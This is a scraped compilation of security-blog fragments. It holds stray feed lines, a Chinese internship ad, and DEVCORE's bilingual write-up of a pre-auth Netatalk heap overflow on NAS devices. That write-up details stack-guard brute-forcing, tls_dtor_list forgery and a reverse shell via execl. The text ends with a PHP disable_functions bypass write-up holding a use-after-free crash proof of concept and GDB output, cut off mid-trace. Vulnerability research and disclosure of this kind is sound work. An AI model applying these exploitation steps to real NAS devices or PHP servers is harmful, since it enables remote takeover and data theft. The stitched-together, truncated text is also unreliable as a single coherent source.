CVE-2020-13405: MicroWeber Unauthenticated User Database Disclosure
The post CVE-2020-13405: MicroWeber
Unauthenticated User Database Disclosure appeared first on Rhino Security Labs.
The post CVE-2021-41577:
MITM to RCE
in EVGA Precision X1 appeared first on Rhino Security Labs.
DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!
本次實習分為 Binary 及 Web 兩個組別,主要內容如下:
台北市松山區八德路三段 32 號 13 樓
大專院校大三(含)以上具有一定程度資安背景的學生
每月新台幣 16,000 元
本次甄選一共分為三個階段:
第一階段為書面審查,會需要審查下列兩個項目
我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。
此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。
http://site.fake.devco.re/index.php?foo=bar
),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!
Two years ago, we found a critical vulnerability, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.
This research is also presented at HITCON 2021. You can check the slides here.
In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.
While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.
NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.
The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.
Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.
First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.
In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.
We selected a few services for preliminary analysis.
The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.
The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.
It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.
The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.
After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.
Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.
The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.
Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.
DSI Packet Header :
The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.
AFP over DSI :
The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.
In Netatalk implementation, dsi_block
will be used as the packet structure.
dsi_block :
DSI : A descriptor of dsi stream
In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum
and payload content.
The payload of the packet is stored in the command
buffer in the DSI structure. The buffer size is server_quantum
, and the value is specified in the afp configuration file afp.conf
.
If not specified, it uses the default size(0x100000).
With a preliminary understanding, let’s talk about this vulnerability.
The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive
.
It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len
in the dsi header. At the beginning, the size of dsi_cmdlen
is verified.
However, as shown in the picture above, if dsi_doff
is provided by user, dsi_doff
is used as the length. There is no verification here.
The default length of dsi->commands
is 0x100000(dsi->server_quantum
), which is a fixed length allocated in dsi_init
, so as long as dsi->header.dsi_doff
is larger than dsi->server_quantum
, heap overflow occurs.
In DSM 6.2.3, dsi->commands
buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init
is as below.
At the below of dsi->commands
is Thread Local Storage, which is used to store thread local variables of the main thread.
Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?
Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.
In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.
main_arena
pointer_guard
tls_dtor_list
tls_dtor_list
We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list
in the Thread Local Storage
, and then control the RIP in exit().
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
}
tls_dtor_list
is a singly linked list of dtor_list
objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list
with dtor_list
we forged.
When the process exits, it calls call_tls_dtors()
. This function takes the object in tls_dtor_list
and calls each destructor. At this time, if we can control tls_dtor_list
, it calls the function we specified.
However, in the new version of glibc, the function of dtor_list
is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.
But in fact pointer guard would also be placed in Thread Local Storage
.
In the Thread Local Storage
, there is a tcbhead_t
structure below the tls_dtor_list
, which is the thread descriptor of main thread.
tcbhead_t
structure is used to store various information about the thread such as the stack_guard
and pointer_guard
used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t
of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage
is shown as below.
We can use the vulnerability to overwrite not only tls_dtor_list
but also pointer guard in the tcbhead_t
. In this way, we can overwrite it with NULL
to solve the pointer guard problem mentioned earlier.
But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.
Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command
. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage
. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.
In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.
We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage
with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.
In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00
. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.
After we leak the stack guard, we can actually control RIP successfully.
Next, we need to forge the structure _dtor_list
to control RIP.
_dtor_list
to control RIPIn DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list
on the data section of afpd.
Luckily, when netatalk use dhx2 login
authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list
on the known address.
After everything is constructed, we can trigger the normal function DSICloseSession
to control the RIP.
tls_dtor_list
in SynologyBut in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr
to get the variable tls_dtor_list
. The function will take the variable from tcb->div
. We also need to construct it on a known address.
The final structure we forged is as follows
Finally, we control RIP to invoke execl() in afpd to get the reverse shell.
In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list
in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.
This vulnerability not only affects Synology, but also affects some devices use Netatalk.
We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.
It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.
When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.
Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.
Your NAS is not your NAS !
In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.
At present, the above three have been patched, please update to the latest version.
This vulnerability is also fixed in the recently released Netatalk 3.1.13. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.
We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.
We also think that Netatalk is a new generation of backdoor in NAS!
In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.
The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.
In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.
Please look forward to Part II.
前年我們在 Synology 的 NAS 中發現了 Pre-auth RCE 的漏洞(CVE-2021-31439),並在 Pwn2Own Tokyo 中取得了 Synology DS418 play 的控制權,而成功獲得 Pwn2Own 的點數,後續也發現這個漏洞不只存在 Synology 的 NAS,也同時存在多數廠牌的 NAS 中,這篇研究將講述這漏洞的細節及我們的利用方式。
此份研究亦發表於 HITCON 2021,你可以從這裡取得投影片!
早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。
現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。
過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。
近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。
最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。
我們的測試環境是 DS918+ 與 Pwn2own 目標極為類似的型號,我們為了更佳符合平常會遇到的環境以及 Pwn2Own 中要求,會是全部 default setting 的狀態。
首先可先用 netstat 看 tcp 和 udp 中有哪些 port 是對外開放,可以看到 tcp 及 udp 中 在 default 環境下,就開了不少服務,像是 tcp 的 smb/nginx/afpd 等
而 udp 中則有 minissdpd/findhost/snmpd 等,多數都是一些用來幫助尋找設備的協定。
我們這邊挑了幾個 Service 做初步的分析
首先是 DSM Web 介面,最直覺也最直接的一部分,這部分大概也會是最多人去分析的一塊,有明顯的入口點,在古老時期常有 command injection 漏洞,但後來 Synology 有嚴格規範後徹底改善這問題,程式也採用相對保守的方式開發,相對安全不少。
Synology 中的 SMB 協定,使用的是 Open Source 的 Samba ,因使用的人眾多,進行 code review 及漏洞挖掘的人也不少,使得每年會有不少小洞,近期最嚴重的就是 SambaCry,但由於較多人在 review 安全性相對也比其他服務安全。
主要協助使用者管理與監控 iSCSI 服務,由 Synology 自行開發,近期算比較常出現漏洞的地方,但需要花不少時間 Reverse ,不過是個不錯的目標,如果沒有其他攻擊面,可能會優先分析。
最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。
我們經過整體分析後, 認為 Netatalk 也會是 Synology 中最軟的一塊,且有 Source code 可以看,所以我們最後決定先分析他。當然也還有其他 service 跟攻擊面,不過這邊由於篇幅因素及並沒有花太多時間去研究就不一一分析介紹了。我們這次的重點就在於 Netatalk。
Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。
Synology 中的 netatalk 是預設開啟,版本是改自 3.1.8 的 netatalk,並且有在定期追蹤安全性更新,只要剛裝好就可以用 afp 協定來與 Synology NAS 分享檔案,而 binary 本身保護有 ASLR/NX/StackGuard。
講漏洞之前,先帶大家來看一下 netatalk 中,部分重要結構,首先是 DSI,Netatalk 在連線時是使用的 DSI (Data Stream interface) 來傳遞資訊,Server 跟 Client 都是通過 DSI 這個協定來溝通,每個 connection 的 packet 都會有 DSI 的 header 在 packet 前面
DSI Packet Header :
DSI 封包中內容大致上會如上圖所示,會有 Flag/Command 等等 metadata 以及 payload 通常就會是一個 DSI Header + payload 的結構
AFP over DSI :
afp 協定的通訊過程大概如上圖所示,使用 AFP 時,client 會先去拿 server 資訊,來確定有哪些認證的方式還有使用的版本等等資訊,這個部分可以不做,然後會去 Open Session 來,開啟新的 Session,接著就可以執行 AFP 的 command ,但在未認證之前,只可以做登入跟登出等相關操作,我們必須用 login 去驗證使用者身份,只要權限沒問題接下來就可像 SMB 一樣做檔案操作
在 Netatalk 實作中,會用 dsi_block 作為封包的結構
dsi_block :
DSI : A descriptor of dsi stream
在 netatalk 中,除了原始封包結構外,也會將封包及設定檔 parse 完後,將大部分的資訊,存放到另外一個名為 DSI 結構中,例如 server_quantum 及 payload 內容等,以便後續的操作。
而封包中的 Payload 會存放在 DSI 中 command 的 buffer 中,該 buffer 大小,取自於 server_quantum,該數值則是取自於 afp 的設定檔 afp.conf 中。
如果沒特別設定,則會取用 default 大小 0x100000。
有了初步了解後,我們可以講講漏洞。
我們發現的漏洞就發生在,執行 dsi command 時,讀取 payload 內容發生了 overflow,此時並不需登入就可以觸發。問題函式是在 dsi_stream_receive
這是一個將接收到封包的資訊 parse 後放到 DSI 結構的 function,這個 function 接收封包資料時,會先根據 header 中的 dsi_len
來決定要讀多少資料到 command buffer 中,而一開始有驗證dsi_cmdlen
不可超過 server quantum 也就是 command buffer 大小。
然而如上圖黃匡處,如果有給 dsi_doff
,則會將 dsi_doff
作為 cmdlen 大小,但這邊卻沒去檢查是否有超過 command buffer。
使得 dsi_strem_read
以這個大小來讀取 paylaod 到 command buffer 中,此時 command buffer 大小為 0x100000,如果 dsi_doff
大小超過 0x100000 就會發生 heap overflow。
由於是 heap overflow,所以我們這邊必須先理解 heap 上有什麼東西可以利用,在 DSM 中的 Netatalk 所使用的 Memory Allocator 是 glibc 2.20,而在 glibc 中,當 malloc 大小超過 0x20000 時,就會使用 mmap 來分配記憶體空間,而我們在 netatalk 所使用的大小則是 0x100000 超過 0x20000 因此會用 mmap 來分配我們的 command buffer。
因為是以 mmap 分配的關係,最後分配出來的空間則會在 Thread Local Storage 區段上面,而不是在正常的 heap segment 上,如上圖的紅框處。
afpd 的 memory layout 如上圖所示,上述紅框那塊就是,紅色+橘色這區段,在 command buffer 下方的是 Thread-local Storage。
Thread-local Storage(TLS) 是用來存放 thread 的區域變數,每個 thread 都會有自己的 TLS,在 Thread 建立時就會分配,當 Thread 結束的時候就會釋放,而 main thread 的 TLS 則會在 Process 建立時就會分配,如前面圖片中的橘色區段,因此我們可利用 heap overflow 的漏洞來覆蓋掉大部分存放在 TLS 上的變數。
事實上來說 TLS 可控制 RIP 的變數有不少,這邊提出幾個比較常見的
tls_dtor_list
,不須 leak 比較符合我們現在的狀況tls_dtor_list
這技巧是由 project zero 在 2014 所提出的方法,覆蓋 TLS 上的 tls_dtor_list 來做利用,藉由覆蓋該變數可在程式結束時控制程式流程。
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
}
這邊就稍微提一下這個方法,tls_dtor_list
是個 dtor_list
object 的 singly linked list 主要是存放 thread local storage 的 destructor,在 thread 結束時會去看這個 linked list 並去呼叫 destructor function,我們可藉由覆蓋 tls_dtor_list
指向我們所構造的 dtor_list。
而當程式結束呼叫 exit() 時,會去呼叫 call_tls_dtors()
,該 function 會去取 tls_dtor_list
中的 object 並去呼叫每個 destructor,此時如果我們可以控制 tls_dtor_list
就會去使用我們所構造的 dtor_list
來呼叫我們指定的函式。
但在新版本和 synology 的 libc 中,dtor_list 的 function pointer 有被 pointer guard 保護,導致正常情況下,我們並不好利用,一樣需要先 leak 出 pointer guard 才能好好控制 rip 到我們想要的位置上。
但有趣的是 pointer guard 也會在 TLS 上,他會存在 TLS 中的 tcbhead_t 結構中,如果我們 overflow 夠多,也可以在 overflow tls_dtor_list
的同時,也將 pointer guard 也一併清掉,這樣就可以讓我們不用處理 pointer guard 問題。
先來講講 tcbhead_t 這結構,這個結構主要是 Thread Control Block (TCB),有點類似 Windows 中的 TEB 結構 是 thread 的 descriptor,主要會用來存放 thread 的各種資訊,而在 x86_64 的 Linux 架構的 usermode 下,fs 暫存器會指向這位置,每當我們要存取 thread local variable 時,都會透過 fs 暫存器去 存取,我們可以看到 TCB 結構會有 stack guard 及 pointer guard 等資訊,也就是說當我們在拿 pointer guard 時,也是用 fs 暫存器從這個結構取出的。
我們回頭看一下 TLS 上的結構分佈,可以看到 tls_dtor_list
後方就是這個,tcbhead_t
結構。只要我們 overflow 夠多就可以蓋掉 pointer guard,然而此時會出現另外一個問題。
因為 stack guard 在 pointer guard 前,當我們蓋掉 pointer guard 的同時,也會蓋掉 stack guard。那麼蓋掉 stack guard 會有什麼影響呢?
在我們呼叫 dsi_stream_receive()
時,因為有開啟 stack guard 保護的關係,會先從 TLS 上,取得 stack guard 放在 stack 上,等到我們呼叫 dsi_stream_read 去 trigger overflow 且蓋掉 pointer guard 及 stack guard 後,在 dsi_stream_receive()
返回時,會去檢查 stack guard 是否與 TLS 中的相同,但因為這時候的 TLS 的 stack guard 已經被我們蓋掉了,導致檢查不通過而中止程式,就會造成我們無法利用這個技巧來達成 RCE。
在 netatalk(afpd) 的架構中,事實上每次連線都會 fork 一個新的 process 來 handle 使用者的 request,而 Linux 中的 process 有個特性是 fork 出來的 process,memory address 及 stack gurad 等都會與原先的 parent process 相同,因此我們可以利用 CTF 常見的招式,一個 byte 一個 bytes brute-force 的方式來獲得 stack guard 。
基本概念是 在 overflow 之後,我們可以只蓋 TLS 中的 stack guard 最尾端一個 byte ,每次連線都蓋不同的 byte,一旦與 stack guard 不同,就會因為 abort 而中斷連線,我們可依據連線的中斷與否,判斷我們所覆蓋的數值是否與 stack guard 相同。
以上圖來說,我們假設 stack guard 是 0xdeadbeeffacebc00
,由於 stack guard 特性,最低一個 byte 一定會是 0 ,這邊從第二個 byte 蓋起,這邊可以先蓋 00 試看看連線是否被中斷,如果被中斷代表蓋的數值是錯的,接下來我們就測其他數值看看有沒有中斷,依此類推,測到 0xbc 發現沒有中斷,代表第二個 byte 是 0xbc,接下來就繼續蓋第三 byte ,一樣從 0x00 蓋到沒中斷,直到蓋滿 8 bytes 的 stack guard 都沒中斷連線後,我們就可以知道 stack guard 的值是什麼,接下來我們就可以解決 stack guard 問題。
_dtor_list
to control RIP在解決 stack guard 問題後,netatalk 已可正常運作,接下來我們需要構造 _dtor_list
結構並結束程式來控制 RIP,在當時的 synology 的 afpd 中並沒有開啟 PIE,我們可以在 afpd 的 data 段中,構造 _dtor_list
。
剛好在使用 dhx2 method 的 login 功能中,會將我們要登入的 username 複製到 global 的 buffer 中,所以我們可以將這結構跟著 username 一起寫入固定的已知位置。
在一切都構造完成後,我們這邊可以觸發正常功能的 DSICloseSession
即可觸發 exit()
tls_dtor_list
in Synology在 reverse 後,發現 synology 的 glibc 中,會使用 __tls_get_addr()
來取得 tls_dtor_list
,並非直接存取 tls_dtor_list
這個全域變數,而這函式的取得方式則會從前述 tcbhead_t
中先取 div 欄位後,再取得其中的 tls_dtor_list
,因此我們需要連同 tcb->div
一起構造在固定位置,另外一點是 Synology 的 afpd 中並沒有 system 可用,但事實上有 execl 可以使用,只是參數稍微複雜一點而已。
最後我們構造的結構如上圖所示,我們將 tcb 及 dtor_list 結構都構造在 username buffer 中,觸發 exit() 後,就會去執行 execl 並取得反連 shell。
在一般的 Netatalk 中,是會啟用 PIE ,不太容易在已知位置構造 _dtor_list
,實際上也可以用類似方法 leak 出 libc 位置,依舊是 exploitable,該漏洞不只影響 Synology 也會影響到大部分有使用 Netatalk 的設備。
我們測試了許多家有使用到 Netatalk 的廠商,發現不少家有存在類似的問題,部分是 unexploitable 但也有部分是 exploitable。我們這邊實測了 QNAP 及 Asustor,皆有成功獲得 shell。
QNAP 及 Asustor 兩家 NAS 都沒有開啟 Stack guard,不需 brute-force 即可獲得反連 shell。
這個漏洞在 Synology 尚未修補時,只要 default 裝好就可以利用,不需任何認證,而 QNAP 及 Asustor 雖然不是預設開啟,但不少有使用 Mac 的用戶,還是會為了方便把它打開,基本上只要是 NAS 幾乎都會用到 Netatalk,絕大多數的 NAS 都有影響,只要有開啟 Netatalk,攻擊者可以利用這個漏洞打下大部分的 NAS。你的 NAS 就再也不會是你的 NAS。
我們後來也從 shodan 上發現,其實也有非常多人將 netatalk 開在外網,光在 shodan 上就有 13 萬台機器,其中大部分是 Synology。
目前上述三台皆已修補,請尚未更新的用戶更新到最新
該漏洞也在近期釋出的 Netatalk 3.1.13 版本中修復,如有使用到 Netatalk 3.1.13 以前版本,也請務必更新。
我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!
未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。
事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。
Dear Fellowlship, today’s homily is about the quest of a poor human trying to escape the velvet jail of disable_functions and open_basedir in order to achieve the holy power of executing arbitrary commands. Please, take a seat and listen to the story of how our hero defeated PHP with the help of UAF The Magician.
First of all we have to apologize because of our delay on the publication date: this post should have been released 7 days ago.
The challenge was solved only by @kachakil and @samsa2k8, you can read their approach here. About 7-8 users were participating actively during the whole week, and only 2 (plus the winners) were in the right direction to get the flag, although everyone tried to use known exploits. Our intention was to avoid that and force people to craft their exploits from scratch but… a valid flag is a valid flag :).
We are going to keep releasing different challenges during the year, so keep an eye. We promise to add a list of winners in our blog :D
In case you did not read our tweet with the challenge, you can deploy it locally with docker and try to solve it.
And last but not least, it is CRUCIAL TO READ THIS ARTICLE BEFORE: A deep dive into disable_functions bypasses and PHP exploitation. Tons of details about disable_functions and the exploit methodology is explained in depth in that article, so this information is not going to be repeated here. Be wise and stop reading the current post until you end the other.
The intention of this first challenge was to highlight something that is pretty obvious for some of us but that others keep struggling to accept: disabling “well-known” functions and restricting the paths through open_basedir IS TRIVIAL TO BYPASS. People does not realize how easy they are to bypass. If you have a web platform that have vulnerabilities that could lead to the execution of arbitrary PHP, you are fucked. PHP is so full of “bugs” (we will not call them “vulnerabilities”) in their own internals that it costs less than 5 minutes to find something abusable to bypass those restrictions.
Of course disabling functions is usefull and highly recommended because it is going to block most of script kiddies trying to pwn your server with the last vulnerability affecting a framework/CMS, but keep in mind that for a real attacker this is not going to stop him. And also this applies for pentesters and Red Teamers.
If you, our dearest reader, wonder about what sophisticated techniques we follow to identify “happy accidents” that can be used for bypassing… fuzzing? code review? Nah! Just go to the PHP bug tracker and search for juicy keywords and then sort by date:
In our case the first one (Bug #81705 type confusion/UAF on set_error_handler with concat operation) can fit our needs as the function set_error_handler
is enabled.
The issue and the root cause are well explained in the original report, so we are going to limit ourselves by quoting the original text:
Here is a proof of concept for crash reproduction:
<?php
$my_var = str_repeat("a", 1);
set_error_handler(
function() use(&$my_var) {
echo("error\n");
$my_var = 0x123;
}
);
$my_var .= [0];
?>
If you execute this snippet, it should cause SEGV at address 0x123.
(…)
When PHP executes the line $my_var .= [0];
, it calls concat_function
defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_function
tries to convert them into strings with zval_get_string_func
.
ZEND_TRY_BINARY_OBJECT_OPERATION(ZEND_CONCAT);
ZVAL_STR(&op1_copy, zval_get_string_func(op1));
if (UNEXPECTED(EG(exception))) {
zval_ptr_dtor_str(&op1_copy);
if (orig_op1 != result) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
If the given value is an array, zval_get_string_func
calls zend_error
.
case IS_ARRAY:
zend_error(E_WARNING, "Array to string conversion");
return (try && UNEXPECTED(EG(exception))) ?
NULL : ZSTR_KNOWN(ZEND_STR_ARRAY_CAPITALIZED);
Because we can register an original error handler that is called by zend_error
by using set_error_handler
, we can run almost arbitrary codes DURING concat_function
is running.
In the above PoC, for example, $my_var
will be overwritten with integer 0x123 when zend_error
is triggered. concat_function
, however, implicitly assumes the variables op1
and op2
are always strings, and thus type confusion occurs as a result.
Also is needed to quote this message from cmb in the same thread that clarifies the UAF situation:
The problem is that result
gets released[1] if it is identical to op1_orig
(which is always the case for the concat assign operator). For the script from comment 1641358352[2], that decreases the refcount to zero, but on shutdown, the literal stored in the op array will be released again. If that script is modified to use a dynamic value (range(1,4)
instead of [1,2,3,4]
), its is already freed, when that code in concat_function()
tries to release it again.
[1] https://github.com/php/php-src/blob/php-8.1.1/Zend/zend_operators.c#L1928
[2] https://bugs.php.net/bug.php?id=81705#1641358352
So far we have a reproducible crash and primer for an exploit (in the same thread) from which we can draw ideas. In order to start building our exploit we are going to download PHP and compile it with debug symbols and without optimizations.
cd ../php-7.4.27/
./configure --disable-shared --without-sqlite3 --without-pdo-sqlite
sed -i "s/ -O2 / -O0 /g" Makefile
make -j$(proc)
sudo make install
Here is my env (yes we are using an older version but do not worry in the epilogue we fix it :P):
PHP 7.4.27 (cli) (built: Feb 12 2022 16:45:41) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
Let’s run the reproducible crash on GDB using php-cli:
1860 }
1861 op2 = &op2_copy;
1862 }
1863 } while (0);
1864
// op1=0x007fffffff70c0 → [...] → 0x0000000000000123
→ 1865 if (UNEXPECTED(Z_STRLEN_P(op1) == 0)) {
1866 if (EXPECTED(result != op2)) {
1867 if (result == orig_op1) {
1868 i_zval_ptr_dtor(result);
1869 }
1870 ZVAL_COPY(result, op2);
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
